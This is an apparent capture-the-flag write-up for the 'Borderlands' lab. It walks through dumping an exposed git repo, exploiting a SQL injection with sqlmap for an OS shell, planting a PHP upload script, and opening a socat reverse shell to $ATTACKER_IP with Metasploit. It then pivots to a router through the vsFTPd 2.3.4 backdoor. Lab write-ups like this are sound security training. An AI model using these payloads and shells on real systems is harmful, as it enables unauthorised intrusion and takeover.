Borderlands

For borderlands we are given the IP of a web application running inside a network named network 1.

Exposed GIT repo

Upon running an application scan with nmap -A we observe that there is an exposed git repository:

80/tcp   open   http       nginx 1.14.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-git: 
|   $VICTIM_IP:80/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: added mobile apk for beta testing. 
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Context Information Security - HackBack 2

We can use git-dumper to dump this repo:

root@kali:/mnt/hgfs/stuff# python3 ./git-dumper/git-dumper.py http://$VICTIM_IP/ dump_borderlands
[-] Testing http://$VICTIM_IP/.git/HEAD [200]
[-] Testing http://$VICTIM_IP/.git/ [403]
[-] Fetching common files
...
[-] Fetching http://$VICTIM_IP/.git/objects/e0/03b9156c54897414bc5958372b10d76fed64bb [200]
[-] Running git checkout .

Now we can see the source of the website:

root@kali# tree
.
├── api.php
├── Context_Red_Teaming_Guide.pdf
├── Context_White_Paper_Pen_Test_101.pdf
├── CTX_WSUSpect_White_Paper.pdf
├── Demystifying_the_Exploit_Kit_-_Context_White_Paper.pdf
├── functions.php
├── Glibc_Adventures-The_Forgotten_Chunks.pdf
├── home.php
├── index.php
└── info.php

0 directories, 10 files

Inside home.php we find the first flag:

echo ("<ul>");
while ($stmt -> fetch()) {
    echo ('<li><a href="api.php?documentid='.$documentid.'&amp;apikey=WEBLhvOJAH8d50Z4y5G5g4McG1GMGD">'.$document_name.'</a></li>');
    $resultsArray[] = array("documentid" => $documentid, "documentname" => $document_name, "location" => $location);
}

Inside the git log there is a commit with the message:

commit b2f776a52fe81a731c6c0fa896e7f9548aafceab
Author: Context Information Security <recruitment@contextis.com>
Date:   Tue Sep 10 14:41:00 2019 +0100

    removed sensitive data

We can use git diff to show us the changes in that commit:

root@kali# git diff b2f776^!
diff --git a/api.php b/api.php
index 2229eb4..ebd0822 100644
--- a/api.php
+++ b/api.php
@@ -2,7 +2,7 @@

 require_once("functions.php");

-if (!isset($_GET['apikey']) || ((substr($_GET['apikey'], 0, 20) !== "WEBLhvOJAH8d50Z4y5G5") && substr($_GET['apikey'], 0, 20) !== "ANDVOWLDLAS5Q8OQZ2tu" && substr($_GET['apikey'], 0, 20) !== "GITtFi80llzs4TxqMWtCotiTZpf0HC"))
+if (!isset($_GET['apikey']) || ((substr($_GET['apikey'], 0, 20) !== "WEBLhvOJAH8d50Z4y5G5") && substr($_GET['apikey'], 0, 20) !== "ANDVOWLDLAS5Q8OQZ2tu" && substr($_GET['apikey'], 0, 20) !== "GITtFi80llzs4TxqMWtC"))
 {
     die("Invalid API key");
 }

Which gives us another flag.

SQLi vuln

Now we want to try and get access to the server, the file functions.php contains a nice SQLi vulnerability:

function GetDocumentDetails($conn, $documentid)
{
    $sql = "select documentid, documentname, location from documents where documentid=".$documentid;
    //echo $sql;
    $result = mysqli_query($conn, $sql) or die(mysqli_error($conn));

    if (mysqli_num_rows($result) === 1) {
        return mysqli_fetch_assoc($result);
    } else {
        return null;
    }
}

This function is called by the file api.php with the parameters: apikey and documentid, to automate the process we throw SQLMap at it:

root@kali# sqlmap -u \
    "http://$VICTIM_IP/api.php?apikey=WEBLhvOJAH8d50Z4y5G5&documentid=aa" -p \
    "documentid"

sqlmap identified the following injection point(s) with a total of 1602 HTTP(s) requests:
---
Parameter: documentid (GET)
    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: apikey=WEBLhvOJAH8d50Z4y5G5&documentid=(SELECT 5484 FROM(SELECT COUNT(*),CONCAT(0x716a717671,(SELECT (ELT(5484=5484,1))),0x717a717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: apikey=WEBLhvOJAH8d50Z4y5G5&documentid=(CASE WHEN (7665=7665) THEN SLEEP(5) ELSE 7665 END)

    Type: UNION query
    Title: MySQL UNION query (random number) - 3 columns
    Payload: apikey=WEBLhvOJAH8d50Z4y5G5&documentid=-1061 UNION ALL SELECT 2259,CONCAT(0x716a717671,0x6b4876446e627951464b74686c656c6d6c4e454e7576464d444757636b446457417a776e7a58434b,0x717a717a71),2259#
---
[14:44:43] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.14.0
back-end DBMS: MySQL >= 5.0

SQLmap comes with a handy flag named --os-shell which we can use to get a shell on the system:

root@kali# sqlmap -u \
    "http://$VICTIM_IP/api.php?apikey=WEBLhvOJAH8d50Z4y5G5&documentid=aa" -p \
    "documentid" \
    --os-shell

os-shell> 
os-shell> ls
do you want to retrieve the command standard output? [Y/n/a] a
command standard output:
---
CTX_WSUSpect_White_Paper.pdf
Context_Red_Teaming_Guide.pdf
Context_White_Paper_Pen_Test_101.pdf
Demystifying_the_Exploit_Kit_-_Context_White_Paper.pdf
Glibc_Adventures-The_Forgotten_Chunks.pdf
api.php
functions.php
home.php
index.php
info.php
mobile-app-prototype.apk
tmpbqnyz.php
tmpuuqad.php
---
os-shell>

We can then get 4th flag from /var/www with:

os-shell> ls /var/www
command standard output:
---
flag.txt
html
---
os-shell> cat /var/www/flag.txt
command standard output: '{FLAG:Webapp:48a5f4bfef44c8e9b34b926051ad35a6}'

Pivoting

Now we have a shell, but it's not very useful as it's not a complete TTY, so we're going to use socat to tunnel back to our system.

The device the webapp is running on doesn't have socat so I'm choosing to upload a statically linked binary.

I tried using the sqlmap flags --file-write and --file-dest to send the file, but it was too large, so instead I ~~wrote~~stole a PHP script to write an uploaded file:

<?PHP
  if(!empty($_FILES['uploaded_file']))
  {
    $path = "/var/www/html/";
    $path = $path . basename( $_FILES['uploaded_file']['name']);
    if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {
      echo "The file ".  basename( $_FILES['uploaded_file']['name']). 
      " has been uploaded";
    } else{
        echo "There was an error uploading the file, please try again!";
    }
  }
?>

This was then uploaded with:

root@kali# sqlmap -u \
    "http://$VICTIM_IP/api.php?apikey=WEBLhvOJAH8d50Z4y5G5&documentid=aa" \
    --file-write=upload.php \
    --file-dest=/var/www/html/upload.php

Once done, we can upload our socat binary with:

root@kali# curl -X POST -F "uploaded_file=@socat" http://$VICTIM_IP/upload.php

Once we have this, start a msfconsole on the attacking machine:

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set lhost $ATTACKER_IP
lhost => $ATTACKER_IP
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on $ATTACKER_IP:4444 

And on the victim, through the shell we got through SQLMap:

os-shell> ./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$ATTACKER_IP:4444

On the attacker we should then see:

[*] Sending stage (36 bytes) to $VICTIM_IP
[*] Command shell session 2 opened ($ATTACKER_IP:4444 -> $VICTIM_IP:34694) at 2019-10-29 14:58:55 +0000

www-data@app:~/html$ 

Then we background the session with Ctrl + s and run sessions -u <session number>, This will give us a meterpreter shell.

If you're not already in the meterpreter shell, enter it with sessions -i <meterpreter shell number>

The shell number is probably one more than the initial session number.

Once in the meterpreter shell, I upload static binaries of nmap and ncat from here using the upload command.

meterpreter > upload ncat
[*] uploading  : ncat -> ncat
[*] Uploaded -1.00 B of 2.78 MiB (0.0%): ncat -> ncat
[*] uploaded   : ncat -> ncat

Using the shell meterpreter command we get a command shell.

The first thing is to nmap the router, after some playing around I figured out that we are able to refer to the devices on the network by their hostname, and so:

www-data@app:~/html$ ./nmap router1

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2019-10-29 18:17 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for router1 (172.16.1.128)
Host is up (0.00014s latency).
rDNS record for 172.16.1.128: hackback_router1_1.hackback_r_1_ext
Not shown: 1203 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
179/tcp  open  bgp
2601/tcp open  zebra
2605/tcp open  bgpd

Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds

Unfortunately because nmap is a static binary we can't run version detection scans, but luckily when we try to connect to the ftp server via ./ncat router1 21 we see:

www-data@app:~/html$ ./ncat router1 21
220 (vsFTPd 2.3.4)

Which just so happens to be a vulnerable version of vsFTPd.

so we execute the exploit:

www-data@app:~/html$ ./ncat router1 21
220 (vsFTPd 2.3.4)
USER user:)
331 Please specify the password.
PASS pass

^C

www-data@app:~/html$ ./ncat router1 6200

ls
bin
dev
etc
home
lib
media
mnt
opt
proc
root
run
sbin
srv
supervisord.log
supervisord.pid
sys
tmp
usr
var

whoami
root

ls /root/
flag.txt
vsftpd

cat /root/flag.txt
{FLAG:Router1:c877f00ce2b886446395150589166dcd}

ip route
default via 172.16.12.1 dev eth0 
172.16.1.0/24 dev eth1 proto kernel scope link src 172.16.1.128 
172.16.2.0/24 via 172.16.12.102 dev eth0 proto zebra metric 20 
172.16.3.0/24 via 172.16.31.103 dev eth2 proto zebra metric 20 
172.16.12.0/24 dev eth0 proto kernel scope link src 172.16.12.101 
172.16.31.0/24 dev eth2 proto kernel scope link src 172.16.31.101

(That's all for today because I managed to lock up router1 and I'm tired)